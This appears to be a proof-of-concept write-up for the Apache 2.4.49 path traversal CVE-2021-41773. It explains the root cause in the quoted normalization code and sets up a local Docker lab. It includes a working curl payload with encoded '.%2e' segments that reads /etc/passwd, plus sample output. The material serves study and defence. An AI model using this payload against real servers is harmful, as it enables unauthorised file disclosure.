
PoC and analysis of CVE-2021-41773
CVE-2021-41773 is a path traversal vulnerability affecting Apache HTTP Server 2.4.49.
The vulnerability allows an attacker to access files outside the intended directory under specific configurations, particularly when directories are exposed through Alias, ScriptAlias, or other Alias-like directives.
The vulnerability exists due to an improper handling of URL path normalization and canonicalization. Apache performed security checks on a path representation that could still contain encoded characters, allowing attackers to bypass traversal detection using encoded dot sequences.
An attacker can craft a malicious URL containing encoded traversal sequences such as:
.%2e
where:
%2e = .
Therefore:
.%2e
becomes:
..
after decoding.
If Apache validates the encoded representation before resolving it to its canonical form, the traversal check can be bypassed.
Successful exploitation can allow an attacker to read arbitrary files from the filesystem.
Example target:
/etc/passwd
The vulnerable logic is located in:
server/util.c
inside:
ap_normalize_path()
Apache 2.4.49 vulnerable code:
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
The vulnerable code tries to identify directory traversal patterns:
../
by checking for consecutive dots:
path[l + 1] == '.'
However, an attacker can provide an encoded traversal sequence:
/.%2e/
At the time of the normalization check, Apache processes:
.%2e
instead of:
..
Because:
%2e != .
the traversal detection logic does not recognize the sequence as:
../
The path is then interpreted in its decoded form, allowing the traversal to occur.
The vulnerable behavior can be represented as:
HTTP Request
|
v
Path normalization / traversal validation
|
v
URL decoding / canonicalization
|
v
Filesystem access
The security decision is made before the path reaches its final canonical representation.
A safer approach is:
HTTP Request
|
v
URL decoding
|
v
Path normalization
|
v
Traversal validation
|
v
Filesystem access
Security checks should always be performed against the final normalized representation.
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773
docker build -t apache-cve-2021-41773 .
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773
Send a request containing an encoded traversal sequence:
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
A successful exploitation returns the contents of:
/etc/passwd
Example:
root:x:0:0:root:/root:/bin/bash
A 403 Forbidden response does not necessarily mean exploitation failed.
During testing, Apache may successfully normalize:
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
into:
/etc/passwd
but deny access due to filesystem permissions or Apache authorization rules.
Example:
client denied by server configuration: /etc/passwd
This indicates that the traversal occurred successfully, but access control prevented file disclosure.
CVE-2021-41773 is a classic example of a canonicalization vulnerability.
User-controlled input can have multiple representations:
.%2e
and:
..
Although they look different, they represent the same path component.
Security checks must always be performed after decoding and normalization. Validating an encoded or ambiguous representation can lead to security bypasses.